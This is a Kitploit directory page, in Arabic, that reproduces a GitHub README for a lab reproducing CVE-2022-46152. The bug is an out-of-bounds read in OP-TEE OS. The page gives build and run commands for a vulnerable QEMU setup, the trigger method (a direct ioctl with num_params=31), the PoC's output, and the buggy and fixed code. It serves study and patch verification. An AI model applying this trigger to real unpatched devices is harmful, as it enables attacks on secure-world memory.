Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-46152 — CVE-2022-46152: تحقق غير صحيح من فهرس المصفوفة في دالة `cleanup_shm_refs`. | Kitploit
أدوات/GitHubGitHub/0xbbdd/cve-2022-46152
أمان الأنظمة المدمجةتحليل الثغرات الأمنيةالاستغلالالاختبار العشوائيCTFالتعلم والتعليماستغلال الملفات الثنائيةمختبرات وتدريب عملي
GitHub0xbbdd/cve-2022-46152

CVE-2022-46152

CVE-2022-46152: تحقق غير صحيح من فهرس المصفوفة في دالة `cleanup_shm_refs`.

عرض المستودع
13منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-46152

OP-TEE OS cleanup_shm_refs() قراءة خارج الحدود — بيئة إعادة الإنتاج

المرجع: https://optee.readthedocs.io/en/latest/building/devices/qemu.html#qemu-v8
النشرة الأمنية: https://github.com/OP-TEE/optee_os/security/advisories/GHSA-65w8-6mrg-52g7


نظرة عامة على الثغرة

الحقلالتفاصيل
الثغرةلا تتحقق الدالة cleanup_shm_refs() من قيمة num_params (نظرياً حتى 127؛ محدودة عملياً إلى 31 بواسطة TEE ioctl في Linux بقيمة TEE_MAX_ARG_SIZE=1024)، بينما saved_attr[] تحتوي على 4 عناصر فقط
الإصدارات المتأثرةOP-TEE OS < 3.19.0
شرط التفعيليرسل العالم العادي طلب INVOKE مع num_params=31 عبر ioctl مباشر (متجاوزاً حد libteec البالغ 4 معاملات)
التأثيرقراءة خارج الحدود لبيانات مكدس العالم الآمن؛ إذا تطابقت قيمة متبقية في المكدس مع نوع TMEM، يحدث تحرير بعد الاستخدام
الإصلاحcleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), ...) (الالتزام 728616b)

هيكل الدليل

CVE-2022-46152/
├── README.md                           # هذا الملف (الإنجليزية)
├── README.zh.md                        # النسخة الصينية
├── setup.sh                            # إعداد بيئة بأمر واحد
├── run_qemu.sh                         # تشغيل QEMU
├── exploit.sh                          # سكريبت إعادة إنتاج آلي/يدوي
├── cve-2022-46152-oob-emsg.patch       # تصحيح تصحيح OP-TEE OS (entry_std.c EMSG للقراءة خارج الحدود)
├── qemu-pflash-suppress-unimp-log.patch # تصحيح QEMU (إخفاء سجلات pflash_write المزعجة)
├── poc/
│   ├── cve_2022_46152.c               # كود مصدر PoC (ioctl مباشر متجاوزاً libteec)
│   └── Makefile                       # ملف Makefile للترجمة المتقاطعة
├── docs/
│   └── vulnerability_analysis.md      # تحليل تقني مفصل للثغرة
└── optee/                             # بيئة OP-TEE (تم إنشاؤها بواسطة setup.sh)
    ├── optee_os/                      # OP-TEE OS 3.18.0 (الإصدار الضعيف)
    ├── build/                         # نظام البناء (qemu_v8.mk)
    ├── linux/                         # نواة Linux
    ├── buildroot/                     # Buildroot rootfs
    ├── trusted-firmware-a/            # TF-A v2.6
    ├── qemu/                          # QEMU v7.0.0 (المصدر)
    └── out/bin/                       # مخرجات البناء
        ├── bl1.bin                    # TF-A BL1
        ├── Image                      # صورة نواة Linux
        └── rootfs.cpio.gz             # rootfs يحتوي على PoC

بداية سريعة

1. المتطلبات الأساسية

# Ubuntu/Debian
sudo apt-get install -y \
    repo git make python3 \
    aarch64-linux-gnu-gcc \
    device-tree-compiler \
    libglib2.0-dev libpixman-1-dev \
    netcat-openbsd expect

# تحقق
aarch64-linux-gnu-gcc --version
repo --version

2. تهيئة repo (باتباع الوثائق الرسمية)

cd CVE-2022-46152
mkdir -p optee
cd optee
repo init -u https://github.com/OP-TEE/manifest.git -m qemu_v8.xml -b 3.18.0
cd ..

ملاحظة: استخدم الوسم 3.18.0. هذا الإصدار يحتوي على الثغرة CVE-2022-46152 ولم يتم تطبيق الإصلاح بعد.

3. إعداد وبناء بأمر واحد (30–60 دقيقة)

./setup.sh

هذا السكريبت سوف:

  • تشغيل repo sync لجلب كل الكود المصدري
  • تكوين سلسلة الأدوات (يتخطى التنزيل إذا كان optee/toolchains/ موجوداً بالفعل، وإلا ينزل تلقائياً)
  • تشغيل make all لبناء TF-A و OP-TEE OS 3.18.0 و Linux و Buildroot
  • ترجمة PoC بشكل متقاطع وحقنها في rootfs

4. تشغيل بيئة QEMU

# افتح ثلاث نوافذ طرفية:

# النافذة 1 — تشغيل QEMU:
./run_qemu.sh --no-gdb

# النافذة 2 — وحدة تحكم العالم العادي (شغّل بعد بدء run_qemu.sh):
python3 optee/build/soc_term.py 54320

# النافذة 3 — العالم الآمن (سجلات OP-TEE، شغّل بعد بدء run_qemu.sh):
python3 optee/build/soc_term.py 54321

ملاحظة: يقوم run_qemu.sh داخلياً بتشغيل soc_term.py في وضع الخادم مستمعاً على 54320/54321، ويتصل QEMU كعميل. الأوامر أعلاه هي أمثلة للاتصال بنسخة قيد التشغيل ولا تحتاج عموماً للتشغيل يدوياً.

5. إعادة إنتاج الثغرة

# في محطة العالم العادي (54320)، بعد ظهور موجه تسجيل الدخول:
(none) login: root

# تشغيل PoC
/root/cve_2022_46152

المخرجات المتوقعة

العالم العادي (وحدة تحكم Linux)

=== CVE-2022-46152 PoC Exploit ===
OP-TEE cleanup_shm_refs() Out-of-Bounds Read
Affected: OP-TEE OS < 3.19.0

[+] Opened /dev/tee0
[*] Opening session to Hello World TA...
[+] Session opened: id=2
[*] Triggering vulnerability: invoking with num_params=31
[*] saved_attr[] has only 4 slots -> reading 27 extra stack words OOB
[*] Buffer size: 1016 bytes (TEE_MAX_ARG_SIZE limit: 1024)
[+] ioctl returned: ret=0xffff0006 origin=0x3

[+] VULNERABILITY TRIGGERED!
[+] TEE returned TEE_ERROR_BAD_PARAMETERS (0xFFFF0006)
[+] entry_invoke_command() rejected num_params=31,
[+] but cleanup_shm_refs(31, saved_attr[4], ...) ran OOB!
[*] Check the Secure World UART (port 54321) for crash details.

[*] Done. Check secure world UART output for OOB/abort evidence.

ملاحظة: TEE_MAX_ARG_SIZE=1024 يحد من ioctl واحد بحد أقصى 31 معلمة (libteec يحدد بـ 4). ومع ذلك، num_params=31 كافٍ لتفعيل القراءة خارج الحدود (قراءة saved_attr[4..30]، 27 عنصراً خارج الحدود).

العالم الآمن (سجل OP-TEE TEE Core)

I/TC: OP-TEE version: 3.18.0 (...)
...
I/TA: Hello World!
E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB! cleanup_shm_refs num_params=31 > TEE_NUM_PARAMS=4
D/TC:? 0 tee_ta_close_session:511 csess ... id 2
I/TA: Goodbye!

السطر التحذيري E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB! هو سجل صريح تمت إضافته إلى entry_std.c عبر التصحيح cve-2022-46152-oob-emsg.patch لتأكيد مسار تفعيل الثغرة. تقرأ cleanup_shm_refs 27 عنصراً إضافياً خارج الحدود من المكدس؛ إذا تطابقت أي قيمة متبقية في المكدس مع نوع TMEM، يمكن تفعيل mobj_put() (تحرير بعد الاستخدام).


الكود الضعيف مقابل الكود المُصلح

الإصدار الضعيف (3.18.0)

/* core/tee/entry_std.c */
static TEE_Result entry_invoke_command(struct optee_msg_arg *arg)
{
    uint32_t saved_attr[TEE_NUM_PARAMS];   /* 4 فتحات فقط! */
    ...
    res = copy_in_params(arg->params, arg->num_params, params, saved_attr);
    if (res != TEE_SUCCESS) {
        /* ❌ خطأ: num_params يمكن أن تكون 127، قراءة خارج الحدود لـ saved_attr[4..126] */
        cleanup_shm_refs(arg->num_params, saved_attr, arg->params);
        goto out;
    }
    ...
}

الإصدار المُصلح (3.19.0، الالتزام 728616b)

    if (res != TEE_SUCCESS) {
        /* ✅ الإصلاح: MIN(4, 127) = 4، لم يعد خارج الحدود */
        cleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), saved_attr, arg->params);
        goto out;
    }

مرجع سريع للأوامر

# إعداد البيئة
./setup.sh

# تشغيل QEMU (مع منفذ تصحيح GDB)
./run_qemu.sh

# تشغيل QEMU (بدون انتظار GDB)
./run_qemu.sh --no-gdb

# عرض خطوات إعادة الإنتاج اليدوية
./exploit.sh --manual

# إعادة إنتاج آلية (بدون حاجة لنوافذ إضافية، المخرجات في الصدفة الحالية)
./exploit.sh

# الاتصال بوحدة تحكم العالم العادي (بعد بدء run_qemu.sh)
python3 optee/build/soc_term.py 54320

# الاتصال بسجل العالم الآمن (بعد بدء run_qemu.sh)
python3 optee/build/soc_term.py 54321

# تصحيح OP-TEE OS باستخدام GDB
aarch64-linux-gnu-gdb optee/optee_os/out/arm/core/tee.elf
(gdb) target remote localhost:1234
(gdb) c

ملاحظات تصحيح QEMU

يُطبق هذا المستودع التصحيح qemu-pflash-suppress-unimp-log.patch فوق QEMU v7.0.0 لإزالة المخرجات المزعجة التالية عند تشغيل الآلة الافتراضية:

pflash_write: Write to buffer emulation is flawed

السبب الجذري

تستدعي الدالة pflash_write() في hw/block/pflash_cfi01.c الدالة qemu_log_mask(LOG_UNIMP, ...) عند معالجة أمر CFI pflash 0xe8 (الكتابة في المخزن المؤقت)، مسجلة تحذيراً "غير منفذ". يكتب برنامج TF-A الثابت في pflash أثناء الإقلاع، مما يؤدي إلى تفعيل هذا المسار وطباعة الرسالة في كل بدء.

محتوى التصحيح (hw/block/pflash_cfi01.c)

يزيل استدعاء qemu_log_mask(LOG_UNIMP, ...) داخل فرع case 0xe8 مع الحفاظ على المنطق الوظيفي سليماً.

تطبيق التصحيح (اختياري؛ مدمج بالفعل في optee/qemu/)

cd optee/qemu
git apply ../../qemu-pflash-suppress-unimp-log.patch
cd build
make -j$(nproc) qemu-system-aarch64

تنزيل الأداة